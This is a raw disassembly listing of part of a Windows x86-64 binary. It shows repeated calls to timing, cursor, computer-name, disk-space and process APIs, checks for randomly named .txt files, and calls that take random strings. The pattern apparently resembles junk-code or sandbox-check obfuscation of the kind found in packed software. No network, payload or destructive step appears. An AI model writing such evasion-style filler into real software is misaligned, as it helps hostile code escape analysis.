mov edx, dword [rsp + 0x208]
mov rcx, rax
call fcn.14004b9ec
lea rdx, [0x14004e464]
mov rcx, rax
call fcn.14004bc24
nop
lea rcx, [rsp + 0x1238]
call fcn.14000389c
lea rcx, [rsp + 0x1598]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x218], rax
cmp qword [rsp + 0x218], 0
je 0x140065159
lea rax, [rsp + 0xa58]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xa60]
lea r8, [rsp + 0xa68]
lea rdx, [rsp + 0xa70]
mov rcx, qword [rsp + 0x218]
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, qword [rsp + 0x218]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x20c], 0x29ae6df3
lea rdx, str.geCR
lea rcx, [rsp + 0x1258]
call fcn.1400038c4
lea rcx, [rsp + 0x1258]
call fcn.14000a750
mov r8d, dword [rsp + 0x20c]
mov rdx, rax
lea rcx, [0x14011b020]
call fcn.140015614
lea rcx, [rsp + 0x1258]
call fcn.14000389c
lea rcx, [rsp + 0xa78]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov dword [rsp + 0x51c], 0x10
lea rdx, [rsp + 0x51c]
lea rcx, [rsp + 0x18f8]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea rcx, [rsp + 0x16b8]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x210], rax
cmp qword [rsp + 0x210], 0
je 0x140065250
lea rax, [rsp + 0xa80]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xa88]
lea r8, [rsp + 0xa90]
lea rdx, [rsp + 0xa98]
mov rcx, qword [rsp + 0x210]
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, qword [rsp + 0x210]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r9, [rsp + 0xaa0]
lea r8, [rsp + 0xaa8]
lea rdx, [rsp + 0xab0]
lea rcx, [0x14011b058]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
lea r9, [rsp + 0xab8]
lea r8, [rsp + 0xac0]
lea rdx, [rsp + 0xac8]
lea rcx, [0x14011b060]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov dword [rsp + 0x538], 0x10
lea rdx, [rsp + 0x538]
lea rcx, [rsp + 0x1918]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea r9, [rsp + 0xad0]
lea r8, [rsp + 0xad8]
lea rdx, [rsp + 0xae0]
lea rcx, [0x14011b038]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.kTIb.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3b0], rax
cmp qword [rsp + 0x3b0], 0xffffffffffffffff
je 0x140065335
mov rcx, qword [rsp + 0x3b0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0xae8]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov dword [rsp + 0x220], 0x25988731
lea rdx, str.N09q8
lea rcx, [rsp + 0x1278]
call fcn.1400038c4
nop
lea rdx, [rsp + 0x1278]
lea rcx, [0x1401362a0]
call fcn.14004e420
mov edx, dword [rsp + 0x220]
mov rcx, rax
call fcn.14004b9ec
lea rdx, [0x14004e464]
mov rcx, rax
call fcn.14004bc24
nop
lea rcx, [rsp + 0x1278]
call fcn.14000389c
lea r9, [rsp + 0xaf0]
lea r8, [rsp + 0xaf8]
lea rdx, [rsp + 0xb00]
lea rcx, [0x14011b080]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
lea rcx, [rsp + 0xb08]
call qword [sym.imp.USER32.dll_GetCursorPos]
lea r9, [rsp + 0xb10]
lea r8, [rsp + 0xb18]
lea rdx, [rsp + 0xb20]
lea rcx, [0x14011b068]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov dword [rsp + 0x224], 0x26307b19
lea rdx, [0x14011b070]
lea rcx, [rsp + 0x1298]
call fcn.1400038c4
lea rcx, [rsp + 0x1298]
call fcn.14000a750
mov r8d, dword [rsp + 0x224]
mov rdx, rax
lea rcx, [0x14011b0b0]
call fcn.140015614
lea rcx, [rsp + 0x1298]
call fcn.14000389c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x1f0], rax
cmp qword [rsp + 0x1f0], 0
je 0x1400654b5
lea rax, [rsp + 0xb28]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xb30]
lea r8, [rsp + 0xb38]
lea rdx, [rsp + 0xb40]
mov rcx, qword [rsp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, qword [rsp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x228], 0x1ef32a9e
lea rdx, [0x14011b0b8]
lea rcx, [rsp + 0x12b8]
call fcn.1400038c4
nop
lea rdx, [rsp + 0x12b8]
lea rcx, [0x1401362a0]
call fcn.14004e420
mov edx, dword [rsp + 0x228]
mov rcx, rax
call fcn.14004b9ec
lea rdx, [0x14004e464]
mov rcx, rax
call fcn.14004bc24
nop
lea rcx, [rsp + 0x12b8]
call fcn.14000389c
mov dword [rsp + 0xcc], 1
mov edx, 8
lea rcx, [rsp + 0x570]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x14006556d
mov eax, dword [rsp + 0x570]
mov dword [rsp + 0x4cc], eax
mov eax, dword [rsp + 0x574]
mov dword [rsp + 0x480], eax
mov ecx, dword [rsp + 0xcc]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, dword [rsp + 0xcc]
call qword [sym.imp.WINMM.dll_timeEndPeriod]
mov dword [rsp + 0x518], 0x10
lea rdx, [rsp + 0x518]
lea rcx, [rsp + 0x1938]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea rcx, [rsp + 0x16c8]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.hu.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3b8], rax
cmp qword [rsp + 0x3b8], 0xffffffffffffffff
je 0x1400655f1
mov rcx, qword [rsp + 0x3b8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.iPLLH8.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3c0], rax
cmp qword [rsp + 0x3c0], 0xffffffffffffffff
je 0x140065646
mov rcx, qword [rsp + 0x3c0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.ne7M.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3c8], rax
cmp qword [rsp + 0x3c8], 0xffffffffffffffff
je 0x14006569b
mov rcx, qword [rsp + 0x3c8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x4aa0]
mov rdi, rax
xor eax, eax
mov ecx, 0x400
rep stosb byte [rdi], al
mov dword [rsp + 0x70], 0
jmp 0x1400656c3
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
movsxd rax, dword [rsp + 0x70]
cmp rax, 0x400
jae 0x1400656ec
movsxd rax, dword [rsp + 0x70]
mov al, byte [rsp + rax + 0x4aa0]
inc al
movsxd rcx, dword [rsp + 0x70]
mov byte [rsp + rcx + 0x4aa0], al
jmp 0x1400656b9
mov dword [rsp + 0x238], 0x16256f5c
lea rdx, [0x14011b0dc]
lea rcx, [rsp + 0x12d8]
call fcn.1400038c4
nop
lea rdx, [rsp + 0x12d8]
lea rcx, [0x1401362a0]
call fcn.14004e420
mov edx, dword [rsp + 0x238]
mov rcx, rax
call fcn.14004b9ec
lea rdx, [0x14004e464]
mov rcx, rax
call fcn.14004bc24
nop
lea rcx, [rsp + 0x12d8]
call fcn.14000389c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x1e8], rax
cmp qword [rsp + 0x1e8], 0
je 0x1400657b6
lea rax, [rsp + 0xb48]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xb50]
lea r8, [rsp + 0xb58]
lea rdx, [rsp + 0xb60]
mov rcx, qword [rsp + 0x1e8]
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, qword [rsp + 0x1e8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x23c], 0xbba7d9c
lea rdx, [0x14011b0bc]
lea rcx, [rsp + 0x12f8]
call fcn.1400038c4
lea rcx, [rsp + 0x12f8]
call fcn.14000a750
mov r8d, dword [rsp + 0x23c]
mov rdx, rax
lea rcx, [0x14011b0c0]
call fcn.140015614
lea rcx, [rsp + 0x12f8]
call fcn.14000389c
mov dword [rsp + 0x514], 0x10
lea rdx, [rsp + 0x514]
lea rcx, [rsp + 0x1958]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov dword [rsp + 0x510], 0x10
lea rdx, [rsp + 0x510]
lea rcx, [rsp + 0x1978]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov dword [rsp + 0xd0], 1
mov edx, 8
lea rcx, [rsp + 0x590]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x1400658a0
mov eax, dword [rsp + 0x590]
mov dword [rsp + 0x400], eax
mov eax, dword [rsp + 0x594]
mov dword [rsp + 0x404], eax
mov ecx, dword [rsp + 0xd0]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, dword [rsp + 0xd0]
call qword [sym.imp.WINMM.dll_timeEndPeriod]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.nSoOSBwmRp.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3d0], rax
cmp qword [rsp + 0x3d0], 0xffffffffffffffff
je 0x1400658f5
mov rcx, qword [rsp + 0x3d0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.EP.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3d8], rax
cmp qword [rsp + 0x3d8], 0xffffffffffffffff
je 0x14006594a
mov rcx, qword [rsp + 0x3d8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0xd4], 1
mov edx, 8
lea rcx, [rsp + 0x5a8]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x1400659a2
mov eax, dword [rsp + 0x5a8]
mov dword [rsp + 0x408], eax
mov eax, dword [rsp + 0x5ac]
mov dword [rsp + 0x40c], eax
mov ecx, dword [rsp + 0xd4]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, dword [rsp + 0xd4]
call qword [sym.imp.WINMM.dll_timeEndPeriod]
mov dword [rsp + 0x50c], 0x10
lea rdx, [rsp + 0x50c]
lea rcx, [rsp + 0x1998]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea r9, [rsp + 0xb68]
lea r8, [rsp + 0xb70]
lea rdx, [rsp + 0xb78]
lea rcx, [0x14011b0e0]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov dword [rsp + 0x258], 0x1db4b513
lea rdx, [0x14011b0e8]
lea rcx, [rsp + 0x1318]
call fcn.1400038c4
lea rcx, [rsp + 0x1318]
call fcn.14000a750
mov r8d, dword [rsp + 0x258]
mov rdx, rax
lea rcx, [0x14011b130]
call fcn.140015614
lea rcx, [rsp + 0x1318]
call fcn.14000389c
lea rcx, [rsp + 0xb80]
call qword [sym.imp.USER32.dll_GetCursorPos]
lea rcx, [rsp + 0xb88]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.jiY7r610.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3e0], rax
cmp qword [rsp + 0x3e0], 0xffffffffffffffff
je 0x140065aa9
mov rcx, qword [rsp + 0x3e0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x1e0], rax
cmp qword [rsp + 0x1e0], 0
je 0x140065b13
lea rax, [rsp + 0xb90]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xb98]
lea r8, [rsp + 0xba0]
lea rdx, [rsp + 0xba8]
mov rcx, qword [rsp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, qword [rsp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x4ea0]
mov rdi, rax
xor eax, eax
mov ecx, 0x400
rep stosb byte [rdi], al
mov dword [rsp + 0x74], 0
jmp 0x140065b3b
mov eax, dword [rsp + 0x74]
inc eax
mov dword [rsp + 0x74], eax
movsxd rax, dword [rsp + 0x74]
cmp rax, 0x400
jae 0x140065b64
movsxd rax, dword [rsp + 0x74]
mov al, byte [rsp + rax + 0x4ea0]
inc al
movsxd rcx, dword [rsp + 0x74]
mov byte [rsp + rcx + 0x4ea0], al
jmp 0x140065b31
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x1b0], rax
cmp qword [rsp + 0x1b0], 0
je 0x140065bce
lea rax, [rsp + 0xbb0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xbb8]
lea r8, [rsp + 0xbc0]
lea rdx, [rsp + 0xbc8]
mov rcx, qword [rsp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, qword [rsp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0xd8], 1
mov edx, 8
lea rcx, [rsp + 0x628]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140065c26
mov eax, dword [rsp + 0x628]
mov dword [rsp + 0x410], eax
mov eax, dword [rsp + 0x62c]
mov dword [rsp + 0x414], eax
mov ecx, dword [rsp + 0xd8]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, dword [rsp + 0xd8]
call qword [sym.imp.WINMM.dll_timeEndPeriod]
mov dword [rsp + 0xdc], 1
mov edx, 8
lea rcx, [rsp + 0x5c0]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140065c7e
mov eax, dword [rsp + 0x5c0]
mov dword [rsp + 0x418], eax
mov eax, dword [rsp + 0x5c4]
mov dword [rsp + 0x41c], eax
mov ecx, dword [rsp + 0xdc]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, dword [rsp + 0xdc]
call qword [sym.imp.WINMM.dll_timeEndPeriod]
lea r9, [rsp + 0xbd0]
lea r8, [rsp + 0xbd8]
lea rdx, [rsp + 0xbe0]
lea rcx, [0x14011b120]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
lea r9, [rsp + 0xbe8]
lea r8, [rsp + 0xbf0]
lea rdx, [rsp + 0xbf8]
lea rcx, [0x14011b128]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov dword [rsp + 0x25c], 0x252c1180
lea rdx, str.0FTOoVm
lea rcx, [rsp + 0x1338]
call fcn.1400038c4
nop
lea rdx, [rsp + 0x1338]
lea rcx, [0x1401362a0]
call fcn.14004e420
mov edx, dword [rsp + 0x25c]
mov rcx, rax
call fcn.14004b9ec
lea rdx, [0x14004e464]
mov rcx, rax
call fcn.14004bc24
nop
lea rcx, [rsp + 0x1338]
call fcn.14000389c
mov dword [rsp + 0x260], 0x4482fa3
lea rdx, str.gpNu
lea rcx, [rsp + 0x1358]
call fcn.1400038c4
nop
lea rdx, [rsp + 0x1358]
lea rcx, [0x1401362a0]
call fcn.14004e420
mov edx, dword [rsp + 0x260]
mov rcx, rax
call fcn.14004b9ec
lea rdx, [0x14004e464]
mov rcx, rax
call fcn.14004bc24
nop
lea rcx, [rsp + 0x1358]
call fcn.14000389c
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.lSrl4.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2e0], rax
cmp qword [rsp + 0x2e0], 0xffffffffffffffff
je 0x140065ddd
mov rcx, qword [rsp + 0x2e0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x16d8]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
lea rcx, [rsp + 0x16e8]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
lea r9, [rsp + 0xc00]
lea r8, [rsp + 0xc08]
lea rdx, [rsp + 0xc10]
lea rcx, [0x14011b170]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
lea rcx, [rsp + 0x16f8]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov dword [rsp + 0xe0], 1
mov edx, 8
lea rcx, [rsp + 0x5d0]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140065e84
mov eax, dword [rsp + 0x5d0]
mov dword [rsp + 0x3e8], eax
mov eax, dword [rsp + 0x5d4]
mov dword [rsp + 0x424], eax
mov ecx, dword [rsp + 0xe0]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, dword [rsp + 0xe0]
call qword [sym.imp.WINMM.dll_timeEndPeriod]
mov dword [rsp + 0x264], 0x26dd5f40
lea rdx, [0x14011b19c]
lea rcx, [rsp + 0x1378]
call fcn.1400038c4
lea rcx, [rsp + 0x1378]
call fcn.14000a750
mov r8d, dword [rsp + 0x264]
mov rdx, rax
lea rcx, [0x14011b1a0]
call fcn.140015614
lea rcx, [rsp + 0x1378]
call fcn.14000389c
mov dword [rsp + 0xe4], 1
mov edx, 8
lea rcx, [rsp + 0x5d8]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140065f2c
mov eax, dword [rsp + 0x5d8]
mov dword [rsp + 0x428], eax
mov eax, dword [rsp + 0x5dc]
mov dword [rsp + 0x42c], eax
mov ecx, dword [rsp + 0xe4]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, dword [rsp + 0xe4]
call qword [sym.imp.WINMM.dll_timeEndPeriod]
lea rcx, [rsp + 0x1708]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov dword [rsp + 0x508], 0x10
lea rdx, [rsp + 0x508]
lea rcx, [rsp + 0x19b8]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov dword [rsp + 0x270], 0x14c19a2b
lea rdx, str.2kxCpVybUq
lea rcx, [rsp + 0x1398]
call fcn.1400038c4
lea rcx, [rsp + 0x1398]
call fcn.14000a750
mov r8d, dword [rsp + 0x270]
mov rdx, rax
lea rcx, [0x14011b194]
call fcn.140015614
lea rcx, [rsp + 0x1398]
call fcn.14000389c
lea r9, [rsp + 0xc18]
lea r8, [rsp + 0xc20]
lea rdx, [rsp + 0xc28]
lea rcx, [0x14011b1c0]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov dword [rsp + 0x274], 0xc64105a
lea rdx, [0x14011b1c8]
lea rcx, [rsp + 0x13b8]
call fcn.1400038c4
lea rcx, [rsp + 0x13b8]
call fcn.14000a750
mov r8d, dword [rsp + 0x274]
mov rdx, rax
lea rcx, [0x14011b1a8]
call fcn.140015614
lea rcx, [rsp + 0x13b8]
call fcn.14000389c
mov dword [rsp + 0xe8], 1
mov edx, 8
lea rcx, [rsp + 0x5e0]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140066078
mov eax, dword [rsp + 0x5e0]
mov dword [rsp + 0x430], eax
mov eax, dword [rsp + 0x5e4]
mov dword [rsp + 0x434], eax
mov ecx, dword [rsp + 0xe8]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, dword [rsp + 0xe8]
call qword [sym.imp.WINMM.dll_timeEndPeriod]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.U.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2e8], rax
cmp qword [rsp + 0x2e8], 0xffffffffffffffff
je 0x1400660cd
mov rcx, qword [rsp + 0x2e8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0xc30]
call qword [sym.imp.USER32.dll_GetCursorPos]
lea rcx, [rsp + 0x1718]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
lea r9, [rsp + 0xc38]
lea r8, [rsp + 0xc40]
lea rdx, [rsp + 0xc48]
lea rcx, [0x14011b1f0]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
lea rcx, [rsp + 0xc50]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.IJg.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2f0], rax
cmp qword [rsp + 0x2f0], 0xffffffffffffffff
je 0x140066171
mov rcx, qword [rsp + 0x2f0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x52a0]
mov rdi, rax
xor eax, eax
mov ecx, 0x400
rep stosb byte [rdi], al
mov dword [rsp + 0x78], 0
jmp 0x140066199
mov eax, dword [rsp + 0x78]
inc eax
mov dword [rsp + 0x78], eax
movsxd rax, dword [rsp + 0x78]
cmp rax, 0x400
jae 0x1400661c2
movsxd rax, dword [rsp + 0x78]
mov al, byte [rsp + rax + 0x52a0]
inc al
movsxd rcx, dword [rsp + 0x78]
mov byte [rsp + rcx + 0x52a0], al
jmp 0x14006618f
lea rcx, [rsp + 0x1728]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.xtJq.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2f8], rax
cmp qword [rsp + 0x2f8], 0xffffffffffffffff
je 0x140066225
mov rcx, qword [rsp + 0x2f8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r9, [rsp + 0xc58]
lea r8, [rsp + 0xc60]
lea rdx, [rsp + 0xc68]
lea rcx, [0x14011b1e8]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
lea rcx, [rsp + 0xc70]
call qword [sym.imp.USER32.dll_GetCursorPos]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x188], rax
cmp qword [rsp + 0x188], 0
je 0x1400662c2
lea rax, [rsp + 0xc78]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xc80]
lea r8, [rsp + 0xc88]
lea rdx, [rsp + 0xc90]
mov rcx, qword [rsp + 0x188]
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, qword [rsp + 0x188]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x278], 0xacd6404
lea rdx, str.zUVSqbJGR
lea rcx, [rsp + 0x13d8]
call fcn.1400038c4
lea rcx, [rsp + 0x13d8]
call fcn.14000a750
mov r8d, dword [rsp + 0x278]
mov rdx, rax
lea rcx, [0x14011b22c]
call fcn.140015614
lea rcx, [rsp + 0x13d8]
call fcn.14000389c
mov dword [rsp + 0x27c], 0x35c04fb3
lea rdx, str.D1P0A6mWCz
lea rcx, [rsp + 0x13f8]
call fcn.1400038c4
lea rcx, [rsp + 0x13f8]
call fcn.14000a750
mov r8d, dword [rsp + 0x27c]
mov rdx, rax
lea rcx, [0x14011b214]
call fcn.140015614
lea rcx, [rsp + 0x13f8]
call fcn.14000389c
mov dword [rsp + 0x504], 0x10
lea rdx, [rsp + 0x504]
lea rcx, [rsp + 0x19d8]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov dword [rsp + 0x288], 0xf57ee9b
lea rdx, str.g4IjXVp
lea rcx, [rsp + 0x1418]
call fcn.1400038c4
nop
lea rdx, [rsp + 0x1418]
lea rcx, [0x1401362a0]
call fcn.14004e420
mov edx, dword [rsp + 0x288]
mov rcx, rax
call fcn.14004b9ec
lea rdx, [0x14004e464]
mov rcx, rax
call fcn.14004bc24
nop
lea rcx, [rsp + 0x1418]
call fcn.14000389c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x170], rax
cmp qword [rsp + 0x170], 0
je 0x14006644d
lea rax, [rsp + 0xc98]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xca0]
lea r8, [rsp + 0xca8]
lea rdx, [rsp + 0xcb0]
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x28c], 0x22c436d0
lea rdx, [0x14011b250]
lea rcx, [rsp + 0x1438]
call fcn.1400038c4
lea rcx, [rsp + 0x1438]
call fcn.14000a750
mov r8d, dword [rsp + 0x28c]
mov rdx, rax
lea rcx, [0x14011b234]
call fcn.140015614
lea rcx, [rsp + 0x1438]
call fcn.14000389c
mov dword [rsp + 0x290], 0x2a8f5c45
lea rdx, str.e6Yfb
lea rcx, [rsp + 0x1458]
call fcn.1400038c4
nop
lea rdx, [rsp + 0x1458]
lea rcx, [0x1401362a0]
call fcn.14004e420
mov edx, dword [rsp + 0x290]
mov rcx, rax
call fcn.14004b9ec
lea rdx, [0x14004e464]
mov rcx, rax
call fcn.14004bc24
nop
lea rcx, [rsp + 0x1458]
call fcn.14000389c
lea rcx, [rsp + 0x1738]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov dword [rsp + 0xec], 1
mov edx, 8
lea rcx, [rsp + 0x600]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140066563
mov eax, dword [rsp + 0x600]
mov dword [rsp + 0x438], eax
mov eax, dword [rsp + 0x604]
mov dword [rsp + 0x43c], eax
mov ecx, dword [rsp + 0xec]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, dword [rsp + 0xec]
call qword [sym.imp.WINMM.dll_timeEndPeriod]
mov dword [rsp + 0x294], 0x39f442e
lea rdx, str.otARmLJM
lea rcx, [rsp + 0x1478]
call fcn.1400038c4
lea rcx, [rsp + 0x1478]
call fcn.14000a750
mov r8d, dword [rsp + 0x294]
mov rdx, rax
lea rcx, [0x14011b274]
call fcn.140015614
lea rcx, [rsp + 0x1478]
call fcn.14000389c
mov dword [rsp + 0x298], 0x33a7b090
lea rdx, str.Z6csUA1
lea rcx, [rsp + 0x1498]
call fcn.1400038c4
nop
lea rdx, [rsp + 0x1498]
lea rcx, [0x1401362a0]
call fcn.14004e420
mov edx, dword [rsp + 0x298]
mov rcx, rax
call fcn.14004b9ec
lea rdx, [0x14004e464]
mov rcx, rax
call fcn.14004bc24
nop
lea rcx, [rsp + 0x1498]
call fcn.14000389c
mov dword [rsp + 0x500], 0x10
lea rdx, [rsp + 0x500]
lea rcx, [rsp + 0x19f8]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov dword [rsp + 0x2a8], 0x1ae0883b
